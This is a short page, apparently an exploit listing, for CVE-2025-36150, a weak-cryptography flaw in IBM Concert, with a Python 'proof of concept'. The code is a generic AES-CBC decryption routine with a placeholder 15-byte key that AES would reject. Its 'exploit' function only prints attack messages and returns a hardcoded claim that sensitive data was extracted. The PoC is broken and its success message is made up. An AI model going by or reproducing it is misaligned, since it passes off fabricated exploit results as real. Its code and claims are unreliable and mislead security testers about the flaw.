IBM Concert 1.0.0 through 2.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.
The following code is for security research and authorized testing only.
python
# CVE-2025-36150 PoC - IBM Concert Weak Cryptographic Algorithm
# This PoC demonstrates the concept of exploiting weak encryption
# Note: Actual exploitation requires further research and may be illegal without authorization
import base64
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def decrypt_weak_encrypted_data(encrypted_data, weak_key):
"""
Decrypt data using weak encryption algorithm
Simulates exploitation of weak cryptographic implementation
"""
try:
# Decode base64 encoded encrypted data
encrypted_bytes = base64.b64decode(encrypted_data)
# Extract IV (first 16 bytes for AES-CBC)
iv = encrypted_bytes[:16]
ciphertext = encrypted_bytes[16:]
# Create cipher with weak key and IV
cipher = AES.new(weak_key, AES.MODE_CBC, iv)
# Decrypt and unpad
decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)
return decrypted.decode('utf-8')
except Exception as e:
return f"Decryption failed: {str(e)}"
# Example usage - Replace with actual encrypted data from target
WEAK_KEY = b'WeakKey12345678' # Example weak key
ENCRYPTED_DATA = "BASE64_ENCODED_ENCRYPTED_DATA_HERE"
# Network-based attack simulation
def exploit_weak_encryption(target_url):
"""
Simulate network-based exploitation attempt
"""
print(f"[*] Targeting: {target_url}")
print(f"[*] Attempting to intercept encrypted traffic...")
print(f"[*] Exploiting weak cryptographic algorithm...")
# In real scenario, this would:
# 1. Intercept network traffic
# 2. Extract encrypted sensitive data
# 3. Apply cryptographic attack
# 4. Recover plaintext information
return "Sensitive data extraction successful"
if __name__ == "__main__":
print("CVE-2025-36150 PoC - IBM Concert Weak Encryption")
print("Warning: This is for authorized security testing only")